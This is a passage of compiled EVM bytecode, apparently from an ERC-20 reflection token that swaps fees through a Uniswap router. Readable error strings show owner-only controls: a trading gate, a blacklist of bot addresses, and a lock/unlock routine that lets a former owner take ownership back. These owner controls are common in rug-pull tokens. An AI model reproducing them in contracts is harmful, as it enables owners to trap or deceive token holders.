888f19350505050158015610e73573d6000803e3d6000fd5b6000546001600160a01b031633146114ef5760405162461bcd60e51b8152600401610a0490612f87565b6114f761207b565b61150f338361150a84633b9aca0061300d565b611c3b565b610e73601454601355601654601555565b606060118054610a3d90612fbc565b6000610acd3384610b31856040518060600160405280602581526020016131ff602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611eec565b6000546001600160a01b031633146115a85760405162461bcd60e51b8152600401610a0490612f87565b600a805461ff001916610100179055565b6001546001600160a01b0316331461161f5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610a04565b60025442116116705760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610a04565b600154600080546040516001600160a01b0393841693909116916000805160206131df83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610acd338484611c3b565b6000546001600160a01b031633146116f65760405162461bcd60e51b8152600401610a0490612f87565b601780548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061173f90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146117745760405162461bcd60e51b8152600401610a0490612f87565b60008382146117c55760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610a04565b83811015611836576118248585838181106117e2576117e261302c565b90506020020160208101906117f79190612d0c565b8484848181106118095761180961302c565b90506020020135633b9aca0061181f919061300d565b6120a9565b61182f6001826130c0565b90506117c5565b5050505050565b600f546001600160a01b031633146110ef5760405162461bcd60e51b815260206004820152601a60248201527f596f7520646f6e27742068617665207065726d697373696f6e200000000000006044820152606401610a04565b6000546001600160a01b031633146118c15760405162461bcd60e51b8152600401610a0490612f87565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556118f081426130c0565b600255600080546040516001600160a01b03909116906000805160206131df833981519152908390a350565b6000546001600160a01b031633146119465760405162461bcd60e51b8152600401610a0490612f87565b6d0366e7064422fd84202340000000601855565b6000546001600160a01b031633146119845760405162461bcd60e51b8152600401610a0490612f87565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146119cf5760405162461bcd60e51b8152600401610a0490612f87565b6001600160a01b038116611a345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a04565b600080546040516001600160a01b03808516939216916000805160206131df83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611aa75760405162461bcd60e51b8152600401610a0490612f87565b60005b81811015610fd657600160096000858585818110611aca57611aca61302c565b9050602002016020810190611adf9190612d0c565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611b108161306f565b9050611aaa565b6001600160a01b038316611b795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a04565b6001600160a01b038216611bda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a04565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611c9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a04565b6001600160a01b038216611d015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a04565b60008111611d635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a04565b6000546001600160a01b03848116911614801590611d8f57506000546001600160a01b03838116911614155b15611df757601854811115611df75760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a04565b6000611e02306113a5565b90506018548110611e1257506018545b60195481108015908190611e29575060175460ff16155b8015611e6757507f0000000000000000000000000f4ecc77807ed54935961028b514636a5d64028c6001600160a01b0316856001600160a01b031614155b8015611e7a5750601754610100900460ff165b15611e8d576019549150611e8d826120bc565b6001600160a01b03851660009081526006602052604090205460019060ff1680611ecf57506001600160a01b03851660009081526006602052604090205460ff165b15611ed8575060005b611ee4868686846121bb565b505050505050565b60008184841115611f105760405162461bcd60e51b8152600401610a049190612d29565b506000611f1d8486613042565b95945050505050565b6000806000611f336123f7565b9092509050611f428282611f49565b9250505090565b6000610cb983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612579565b600080611f9883856130c0565b905083811015610cb95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a04565b60008060008060008060008060006120018a6125a7565b925092509250600080600061201f8d868661201a611f26565b6125e9565b919f909e50909c50959a5093985091965092945050505050565b6000610cb983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eec565b60135415801561208b5750601554155b1561209257565b601380546014556015805460165560009182905555565b6120b161207b565b61150f338383611c3b565b6017805460ff1916600117905560006120d6826002611f49565b905060006120e48383612039565b9050476120f083612639565b60006120fc4783612039565b905060006121166064612110846050612800565b90611f49565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612151573d6000803e3d6000fd5b5061215c8183613042565b9150612168848361287f565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506017805460ff1916905550505050565b600a54610100900460ff166121e4576000546001600160a01b038581169116146121e457600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061222357506001600160a01b03831660009081526009602052604090205460ff165b1561227a57600a5460ff1661227a5760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610a04565b806122875761228761207b565b6001600160a01b03841660009081526007602052604090205460ff1680156122c857506001600160a01b03831660009081526007602052604090205460ff16155b156122dd576122d884848461298d565b6123db565b6001600160a01b03841660009081526007602052604090205460ff1615801561231e57506001600160a01b03831660009081526007602052604090205460ff165b1561232e576122d8848484612ab3565b6001600160a01b03841660009081526007602052604090205460ff1615801561237057506001600160a01b03831660009081526007602052604090205460ff16155b15612380576122d8848484612b5c565b6001600160a01b03841660009081526007602052604090205460ff1680156123c057506001600160a01b03831660009081526007602052604090205460ff165b156123d0576122d8848484612ba0565b6123db848484612b5c565b806123f1576123f1601454601355601654601555565b50505050565b600c54600b546000918291825b600854811015612549578260036000600884815481106124265761242661302c565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612491575081600460006008848154811061246a5761246a61302c565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156124a757600c54600b54945094505050509091565b6124ed60036000600884815481106124c1576124c161302c565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612039565b925061253560046000600884815481106125095761250961302c565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612039565b9150806125418161306f565b915050612404565b50600b54600c5461255991611f49565b82101561257057600c54600b549350935050509091565b90939092509050565b6000818361259a5760405162461bcd60e51b8152600401610a049190612d29565b506000611f1d84866130d8565b6000806000806125b685612c13565b905060006125c386612c2f565b905060006125db826125d58986612039565b90612039565b979296509094509092505050565b60008080806125f88886612800565b905060006126068887612800565b905060006126148888612800565b90506000612626826125d58686612039565b939b939a50919850919650505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061266e5761266e61302c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126e757600080fd5b505afa1580156126fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061271f91906130fa565b816001815181106127325761273261302c565b60200260200101906001600160a01b031690816001600160a01b03168152505061277d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b17565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906127d2908590600090869030904290600401613117565b600060405180830381600087803b1580156127ec57600080fd5b505af1158015611ee4573d6000803e3d6000fd5b60008261280f57506000610ad1565b600061281b838561300d565b90508261282885836130d8565b14610cb95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a04565b6128aa307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b17565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806128f16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561295457600080fd5b505af1158015612968573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118369190613188565b60008060008060008061299f87611fea565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506129d19088612039565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612a009087612039565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612a2f9086611f8b565b6001600160a01b038916600090815260036020526040902055612a5181612c4b565b612a5b8483612cd3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612aa091815260200190565b60405180910390a3505050505050505050565b600080600080600080612ac587611fea565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612af79087612039565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612b2d9084611f8b565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612a2f9086611f8b565b600080600080600080612b6e87611fea565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612a009087612039565b600080600080600080612bb287611fea565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612be49088612039565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612af79087612039565b6000610ad160646121106013548561280090919063ffffffff16565b6000610ad160646121106015548561280090919063ffffffff16565b6000612c55611f26565b90506000612c638383612800565b30600090815260036020526040902054909150612c809082611f8b565b3060009081526003602090815260408083209390935560079052205460ff1615610fd65730600090815260046020526040902054612cbe9084611f8b565b30600090815260046020526040902055505050565b600c54612ce09083612039565b600c55600d54612cf09082611f8b565b600d555050565b6001600160a01b038116811461120357600080fd5b600060208284031215612d1e57600080fd5b8135610cb981612cf7565b600060208083528351808285015260005b81811015612d5657858101830151858201604001528201612d3a565b81811115612d68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612d9157600080fd5b8235612d9c81612cf7565b946020939093013593505050565b600080600060608486031215612dbf57600080fd5b8335612dca81612cf7565b92506020840135612dda81612cf7565b929592945050506040919091013590565b600060208284031215612dfd57600080fd5b5035919050565b60008060408385031215612e1757600080fd5b8235612e2281612cf7565b91506020830135612e3281612cf7565b809150509250929050565b801515811461120357600080fd5b60008060408385031215612e5e57600080fd5b823591506020830135612e3281612e3d565b600060208284031215612e8257600080fd5b8135610cb981612e3d565b60008083601f840112612e9f57600080fd5b50813567ffffffffffffffff811115612eb757600080fd5b6020830191508360208260051b8501011115612ed257600080fd5b9250929050565b60008060008060408587031215612eef57600080fd5b843567ffffffffffffffff80821115612f0757600080fd5b612f1388838901612e8d565b90965094506020870135915080821115612f2c57600080fd5b50612f3987828801612e8d565b95989497509550505050565b60008060208385031215612f5857600080fd5b823567ffffffffffffffff811115612f6f57600080fd5b612f7b85828601612e8d565b90969095509350505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612fd057607f821691505b60208210811415612ff157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561302757613027612ff7565b500290565b634e487b7160e01b600052603260045260246000fd5b60008282101561305457613054612ff7565b500390565b634e487b7160e01b600052603160045260246000fd5b600060001982141561308357613083612ff7565b5060010190565b60006020828403121561309c57600080fd5b5051919050565b6000602082840312156130b557600080fd5b8151610cb981612e3d565b600082198211156130d3576130d3612ff7565b500190565b6000826130f557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561310c57600080fd5b8151610cb981612cf7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131675784516001600160a01b031683529383019391830191600101613142565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561319d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220986579b140432de62d731b5d0cc1cb6bc44ca6e38fc14bc16139000dbc6b33da64736f6c63430008090033
[ 13, 16, 5, 12 ]